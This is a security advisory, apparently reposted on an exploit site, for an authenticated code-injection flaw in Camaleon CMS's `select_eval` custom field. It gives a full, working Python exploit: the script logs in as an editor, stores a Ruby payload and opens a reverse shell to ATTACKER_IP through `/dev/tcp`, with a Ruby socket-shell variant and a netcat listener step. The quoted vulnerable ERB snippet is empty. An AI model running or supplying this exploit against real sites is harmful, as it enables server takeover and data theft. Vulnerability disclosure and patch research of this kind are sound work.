Share
## https://sploitus.com/exploit?id=9FA99487-6A43-5BB5-BD4B-2D6470463A5D
# Security Advisory: Camaleon CMS - Authenticated RCE via `select_eval` Custom Field

**Product:** Camaleon CMS (https://github.com/owen2345/camaleon-cms)
**Affected versions:** 2.1.1 โ€“ 2.9.1 (introduced commit 415cbda6 2015-10-16; fixed commit 15882366 2026-03-29 / v2.9.2)
**Severity:** High
**CVSS 4.0 Score:** 8.7
**CVSS 4.0 Vector:** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
**CWE:** CWE-94 (Code Injection)
**Researcher:** Theodosis Paidakis
**Vendor notified:** 2026-06-21
**Related advisory:** GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (`label_eval` - parallel field type, same root cause, no CVE assigned)

## Summary

The `select_eval` custom field type stores an arbitrary Ruby expression in `field.options[:command]` and executes it via `instance_eval` in an ERB view whenever a post edit page is rendered. Pre-v2.9.2, any user with the `custom_fields` manage permission - commonly granted to editor-role accounts - could create this field type and achieve server-side RCE. A `select_eval` field fires on every page render of any post using the field group; its output becomes the dropdown options list. The vulnerability was patched in v2.9.2.

## Affected Component

**File:** `app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb`

```erb

```

`instance_eval` is called with the raw string from the database record. No sandboxing and no compile-time restriction on what methods or constants are accessible from the ERB binding (which is a full Rails view context).

**File:** `app/models/camaleon_cms/ability.rb`

Any user with `custom_fields` permission could create `select_eval` fields:

```ruby
%i[media comments themes widgets nav_menu plugins users settings custom_fields].each do |resource|
  safe_can :manage, resource if @roles_manager[resource]
end
```

## Root Cause Analysis

The `select_eval` field type was designed to let developers dynamically populate select dropdowns from Ruby code stored in the CMS database. Executing arbitrary Ruby from a database column via `instance_eval` is equivalent to granting shell access to anyone who can write that value. The permission requirement was `custom_fields` - a routine content-management permission - rather than an explicit privileged bit.

## Relation to Prior Advisories

This finding was published GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 covering a parallel `label_eval` field type in Camaleon CMS. That advisory was part of a batch of five findings (GHSL-2024-182 through GHSL-2024-186); only two of the five received CVE numbers (CVE-2024-46986 and CVE-2024-46987). GHSL-2024-185 itself has no assigned CVE.

`select_eval` and `label_eval` share the same root cause - arbitrary Ruby stored in the database executed via `instance_eval` in an ERB view - but are distinct in every other dimension:

|                | `label_eval` (GHSL-2024-185) | `select_eval` (this report)        |
| -------------- | ---------------------------- | ---------------------------------- |
| Execution site | Field label in any form      | `select_tag` in post edit page     |
| Write path     | Custom field label text      | `field.options[:command]` meta row |

This report covers `select_eval` exclusively. No existing CVE or public advisory documents this specific field type and its exploitation path.

## Steps to Reproduce

Tested against v2.1.1โ€“v2.9.1 (the externally exploitable range). Requires only an account with `custom_fields` permission - no server access.

**Prerequisites:** Any account with the `custom_fields` manage bit set - a standard editor-role permission in the affected range.

**Step 1.** Start a listener:

```bash
nc -lnvp 4444
```

**Step 2.** Run the script. Edit `BASE`, `ATTACKER_IP`, `TYPE_ID`, `POST_ID`, and credentials.

`TYPE_ID` - post type ID visible in the admin sidebar URL (e.g. `/admin/post_type/2/posts`).
`POST_ID` - any post ID under that type, from the post list edit links.

```python
import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
```



## Impact

Any account with `custom_fields` permission (pre-v2.9.2) gains:

- **Arbitrary Ruby execution** in the Rails process, with the privileges of the web server user (`deploy`, `www-data`, `rails`, etc.)
- **Persistent execution**: the payload fires on every page render of every post using the field group - not a one-shot exploit
- **Session forgery**: reading `secret_key_base` from `config/secrets.yml` allows forging arbitrary session cookies for any user including admins
- **Multi-site impact**: on a shared Camaleon instance, the Rails process has access to all sites' data

Pre-v2.9.2, the `custom_fields` permission was routinely granted to editor-role users. An attacker who compromises any editor-level account achieves full server-side RCE.

## Timeline

**2026-06-19** - Discovered during source analysis of v2.9.2 and v2.9.1
**2026-06-21** - Vendor notified
**2026-03-29** - Patch already released (v2.9.2, commit 15882366)